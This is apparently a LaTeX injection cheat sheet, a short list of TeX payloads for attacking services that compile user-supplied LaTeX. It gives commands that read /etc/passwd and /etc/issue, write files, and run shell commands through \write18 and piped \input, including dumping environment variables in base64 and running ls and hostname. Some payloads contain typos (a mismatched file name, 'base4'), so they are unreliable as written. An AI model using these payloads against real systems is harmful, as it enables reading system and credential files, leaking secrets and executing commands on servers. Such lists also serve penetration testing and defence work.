\input{/etc/passwd}
\include{password} # load .tex fileRead single lined file
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\fileRead multiple lined file
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\fileRead text file, keep the formatting
\usepackage{verbatim}
\verbatiminput{/etc/passwd}\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfileThe input of the command will be redirected to stdin, use a temp file to get it.
\immediate\write18{env > output}
\input{output}If you get any LaTex error, consider using base64 to get the result without bad characters
\immediate\write18{env | base64 > test.tex}
\input{text.tex}\input|ls|base4
\input{|"/bin/hostname"}